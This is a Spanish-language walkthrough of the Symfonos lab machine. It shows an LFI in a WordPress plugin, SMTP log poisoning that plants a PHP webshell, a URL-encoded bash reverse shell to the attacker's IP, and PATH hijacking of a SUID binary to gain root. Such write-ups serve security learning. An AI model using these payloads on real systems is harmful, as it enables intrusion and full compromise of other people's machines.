Introducción

Se practican las siguientes habilidades:

  • SMB enumeration
  • Wordpress Enumeration
  • SMTP Log poisoning
  • Path Hijacking
  • SUID abuse

    Enumeracion

    Se descubre el dominio symfonos.localdomain y los servicios:

    nmap -p- 192.168.118.130 -n -Pn --open --min-rate 5000 -sS -vvv
    
    PORT    STATE SERVICE      REASON
    22/tcp  open  ssh          syn-ack ttl 64
    25/tcp  open  smtp         syn-ack ttl 64
    80/tcp  open  http         syn-ack ttl 64
    139/tcp open  netbios-ssn  syn-ack ttl 64
    445/tcp open  microsoft-ds syn-ack ttl 64
    

Tras probar a enumerar usuarios por ssh, mirar la web y no descubir nada, se procede a enumarar el 445 y se descubre:

enum4linux -a 192.168.118.130
  • Usuarios: helios
  • Recursos compartidos:
    ```bash

Sharename Type Comment ——— —- ——- print$ Disk Printer Drivers helios Disk Helios personal share anonymous Disk
IPC$ IPC IPC Service (Samba 4.5.16-Debian)


En el recurso anonymous entramos sin credenciales y vemos un fichero de texto que dice: 
```bash
Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! 

Next person I find using one of these passwords will be fired!

-Zeus

Inmediatamente probamos enumerar el recurso de helios con una de esas 3 contraseñas y funciona con qwerty .

Ahí vemos otro fichero que dice:

1. Binge watch Dexter
2. Dance
3. Work on /h3l105

Tras muchas vueltas, probamos a poner /h3l105 en la url tras symfonos.localdomain y vemos que se trata de un wordpress. Ahí vemos que hay otro dominio: symfonos.local

Enumeracion wordpress

Tratamos de enumerar wordpress:

wpscan --url http://symfonos.local/h3l105 -e u, vp, vt

Vemos que el plugin “masta” es vulnerable a LFI, asi que con este payload podemos ver ficheros del sistema:


http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

SMTP Log Poisoning

Puesto que conocemos al usuario helios, tenemos un servicio smtp, tenemos lfi, al poder ver los logs de smtp podríamos acontecer un smtp log poisoning. para ello probamos con éxito:

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios
  • El envenenamiento:
    ┌──(root㉿kali)-[/home/kali]
    └─# nc -vn 192.168.118.130 25
    (UNKNOWN) [192.168.118.130] 25 (smtp) open
    220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
    MAIL FROM: glmbxecurity
    250 2.1.0 Ok
    RCPT TO: helios
    250 2.1.5 Ok
    DATA
    354 End data with <CR><LF>.<CR><LF>
    Subject: <?php system($_GET['cmd']); ?>
    .
    250 2.0.0 Ok: queued as C1935406AE
    QUIT
    221 2.0.0 Bye
    
  • La prueba, en la url del navegador, o con curl: ```bash http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id

* La reverse shell (urlencodeando el bash -c ...):

```bash
nc -nlvp 1234
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.118.128%2F1234%200%3E%261%27

Path Hijacking & SUID abuse

Buscando binarios SUID descubrimos /opt/statuscheck, al ejecutarlo parece que entre otras cosas hace un curl. asi que si está programado con rutas relativas, se puede falsear ese curl por un “bash -p”:

  • creamos un fichero llamado en /tmp/curl cuyo contenido es “bash -p”
  • editamos el path para incluir al principio el directorio /tmp
  • damos permisos de ejecucion
  • ejecutamos /opt/statuscheck
helios@symfonos:/home/helios$ export PATH=/tmp:$PATH
helios@symfonos:/home/helios$ touch /tmp/curl
helios@symfonos:/home/helios$ chmod +x /tmp/curl
helios@symfonos:/home/helios$ nano /tmp/curl
helios@symfonos:/home/helios$ /opt/statuscheck
bash-4.4# whoami
root

Categories:

Updated: